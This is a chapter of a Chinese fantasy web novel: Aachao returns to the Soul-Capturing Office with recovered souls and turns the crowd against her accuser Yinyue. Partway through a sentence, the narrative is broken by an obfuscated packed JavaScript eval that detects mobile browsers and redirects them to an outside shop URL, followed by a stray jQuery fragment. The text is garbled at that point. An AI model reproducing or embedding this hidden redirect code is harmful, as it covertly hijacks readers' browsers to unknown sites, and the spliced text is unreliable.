云恒在鬼王城的城楼上目送着阿昭一行人乘的马车渐渐远去。
虽然心中不舍但是他此刻却依旧沉浸在与她重逢的喜悦里,即使被她用银簪扎,被她咬伤,可他却因为她给自己带来的这些痛感而无比兴奋,因为身体上的疼痛让他感觉到与她重逢这件事是真实发生的,不是他在做梦。
他从前便说过他会娶她的,而如今除了她没人能做他的王妃。
三生契又如何?真的他都有办法给她解了,何况是假的。
云恒信手捏出一个传信的纸白鸽,在上面加了一层禁制,然后纸白鸽活了一般,扇动着翅膀飞了出去。
看着消失在空中的纸白鸽,云恒邪魅一笑:“阿昭,很快我们便会再见面的。”
盛京城,公主府。
纸白鸽熟门熟路的飞了进去,落在了公主的梳妆台上。
---------------------------
阿昭一行人到盛京城时已经快接近中午了,进城后阿昭便趴在窗边看着窗外热闹繁华的街景。
想着待会儿银月和夏文心见到自己带回全部丢失的生魂会是一副什么表情,好吧,虽然这也不是自己的功劳。
“停车!”阿昭瞧见街边的买馄饨的小摊,闻到食物的香气后,顿时觉得肚子饿的不行。想着待会儿要对付那几人,可不能饿着肚子。
“怎么了?”裴珣以为出什么事了。
“你饿了吗,要不...我请你吃碗馄饨?”阿昭问道,“就当作为答谢。”
“不...”裴珣本想说不用客气,她想吃什么尽管去吃,没有让女子请客吃饭的,却被崔智给打断了。
"好呀,正好快到吃午饭的时候了,早饭都没吃,好饿。"在外面驾车的崔智时刻关注着马车内的情况,一路上都没听到小两口说话,平时很爱说话的他也只得硬生生的憋着满肚子的疑问,不敢开腔说话。
听到阿昭的提议外加他也是真的肚子饿了,于是便伸头进去接话,却正好迎上被自己抢了话的裴珣冷冷的目光,也不知道是不是因为被自己打断话而不爽自己。
阿昭以为裴珣是想说他不饿,于是便说:“裴大人要是不饿的话那就劳烦您稍等我们片刻,或者是不用等我,待会儿我吃完自己走回去便是,也没有多远了。”
说罢,便同崔智下了马车。
“老板,来两碗大碗的馄饨。”
“好嘞~”
“老板,再来一碗。”
阿昭和崔智两脸惊讶的看着面前施施然坐下的裴珣。
“还没问阿昭姑娘等会儿送你到哪呢?”
馄饨还没煮好,三人坐着不说话,气氛怪怪的,向来一冷场便会不自在的崔智又开始热场了。
“如果方便的话,待会儿就麻烦崔大人送我到城东的拘魂司。”
“拘魂司?”崔智不解的问道:“阿昭姑娘是拘魂司的人?”
“呃.....还不能算是吧,因为我还没参加考核,还不知道能不能过呢。”
“这......”崔智此刻对于阿昭和裴珣的关系有些困惑,怎么感觉他俩不是很熟悉的样子,哦不对,准确的说应该是阿昭对裴珣不熟悉才对,要不然她怎么一副不知道她对面坐着的这位、她在鬼王宫称呼为夫君的这位就是她的顶头上司的样子。
而裴珣也似乎并不打算挑明的样子,好像也不想他说的样子,因为他刚刚狠狠地看了他一眼,用眼神示意他闭嘴。
他不是阿昭,自然是了解裴珣脾性的,被眼神警告后便不敢再多嘴了。
阿昭先吃完,起身想去结账,却被裴珣拦住。
“这顿别和我抢,都说了我请客。”
裴珣见阿昭都这样说了,也不再坚持了,默默收回手。
崔智在旁看得干着急,在桌下踢了踢裴珣,又朝他拼命使眼神,让他去付钱,就算姑娘再怎么客气坚持要请客付钱,但怎么能就真的让姑娘付钱呢。
但不开窍的裴珣还跟没事人一样坐在那儿纹丝不动。
崔智扶额叹气,怪不得条件顶好的他一直都娶不到媳妇,就他这不懂风情的性子,难保不会将这好不容易“娶”的媳妇也让他吓跑了。
付完账后,阿昭身上的银钱所剩无几了,心里想着这样下去不行,得想些办法挣点外快了。
三人各怀心事的上了马车。
不一会儿,马车便行驶到了拘魂司门外。
车厢里裴珣正襟危坐着,并没有下马车的打算,崔智虽不理解但也未多嘴说什么,而是先行下了马车在外等着。
阿昭道:“这次鬼王城一行,多亏裴大人几次三番出手相助,阿昭才得以脱险还追回这些险些逃脱的生魂,今日一别,你我可能再无相见之日,但裴大人的大恩大德阿昭定会铭记于心,往后每日都会为裴大人诵经祈福,祈求上天保佑裴大人平安。”
裴珣:"............."
阿昭说完见裴珣沉默不语,便朝他行了行礼后便转身下了马车,徒留欲言又止的裴珣一人在马车内。
“崔大人,这一路上麻烦你了,便送到这吧,有缘再会。”
“阿昭姑娘客气了,往后若是有什么需要帮忙的尽管说,既然阿昭姑娘是拘魂司的人,今后我们一定还会再见的。”
“嗯好的,那崔大人再会了!”阿昭又看眼马车的方向,然后便和崔智告别了。
-----------------------------
南星院,吏厨。
阿昭原以为自己进拘魂司的大门都难,毕竟那日自己被赶出门后在外面敲了那么久都没有人理自己。
没想到今日回来倒是挺顺利就进来了,阿昭还以为门房换人了,可奇怪的是还是那日的门房。
此刻正是大家用午膳的时候,阿昭便直接去了南星院东边大家吃饭地方--吏厨。
刚踏进屋便听到熟悉的声音。
“哟,这不是那谁吗,都被赶出拘魂司了,居然还有脸回来?”说话的是夏文心,与她同桌的还有银月和青黛。
大家的目光都随着夏文心的声音看向门边的阿昭。
那日阿昭被赶出拘魂司后,银月三人等到大家参加完长公主的赏花宴后,便将阿昭告到周主簿那里,说阿昭因为不服被周主簿惩罚,而偷偷让其收服的小孩鬼将关在地牢里那几日大家拘的孤魂全都放走了,后来被银月她们发现端倪,揭露了阿昭的诡计。银月她们还说阿昭恼羞成怒,将夏文心打伤后便逃出拘魂司了。
因为只有银月三人的片面之语,导致大家都信了她们的话,十分气愤阿昭的“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156530|150350||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所作所为”。
所以对于阿昭的归来,大家都很惊讶,惊讶她居然还敢回来,一时间大家都对阿昭指指点点的。
阿昭却像是没听见大家对她的议论一般,径直走向银月她们那桌。
“咚——”阿昭将装着孤魂的特制竹筒重重的发在桌上。
“干什么,你疯啦!”坐在左边的青黛被吓了一跳。
阿昭没说话,只是幽幽的转头看着青黛,咧嘴凑近对她笑道:“对呀,我是疯啦,怎么还想干一架?”
欺软怕硬的青黛显然是被阿昭打怕了,被阿昭一说,瞬间就怂了,不敢再吭一声。
坐在右边的夏文心刚想开口,被手疾眼快的阿昭拿起桌上的馒头给塞了满嘴,狼狈的样子惹的在场的其他人哄笑不止。
“银月师姐不是让我寻回被放走的孤魂吗?”阿昭将竹筒朝银月推了推,“数数?”
银月倒是镇定自若,笑看着阿昭慢悠悠说道:“都寻回来又如何,难道你便能证明当初不是你放的?”
阿昭:“...........”
银月见阿昭回答不上来,越发的嚣张,起身凑近,用仅能她们两听到声音在阿昭耳边说:“怎么,就这么想要呆在这破地方,是因为除了这儿便没地方去了吗?你不是狂的很吗?若是你一直像条狗一样乖乖听话,或许不会让我对你有那么大的兴趣,可现在我就要玩死你,你又能拿我怎么样呢?”
阿昭握紧双手,看着银月,又环顾四周见大家都对自己指指点点的,交头接耳的悄声议论着什么。
银月见状越发得意,大笑道:“怎么,没证据吗?还是就是你做的,所以....你才无法自证?”
“银月师姐不愧是吏部尚书的掌上明珠,样样都讲究证据。”阿昭笑道:“可银月师姐当初审我时做的却并不符合你的身份。”
“她指的是什么呀,难道还有什么内情是大家不知道的?”
“不知道啊,但细细想来,你不觉得整件事都是银月师姐她们的一面之词吗?”
“是啊,就算真的是阿昭放走的孤魂,那也还轮不到银月她们私自审人,私自处理吧。”
“对呀对呀,还亏得她父亲是吏部尚书呢,这么简单的道理都不懂。”
阿昭心想你会故意挑起大家的情绪,我不会吗:“银月师姐当初不该私自审我,且不容我解释,也未曾细查便给我定罪还将我赶出拘魂司。”
阿昭话一出,大家便像是炸开锅一样,议论声越来越大,甚至开始有人为阿昭出声了。
“天啦,没想到银月居然是这样的人,她不是说事发后阿昭恼羞成怒将夏文心打伤后逃跑的吗,原来是被她赶出去的。”
“是啊,她对周主簿也是这么说的,真没想到她是这样的人。”
“还是吏部尚书的女儿呢?真是丢她爹的脸。”
“哈哈,也许她爹私底下就是这样教育她的也说不定呢?”
渐渐地舆论的风向开始转向直指银月,还上升到她那身居高位的父亲。
“不就是公开审理吗,谁怕谁啊,身正不怕影子斜,走,这便去找周主簿,裴判官,让他们来审审,让大家一起来分辨分辨。”已经有些慌了的银月拉着阿昭便要去找两位大人。
很好,事情闹大了才好看才好办!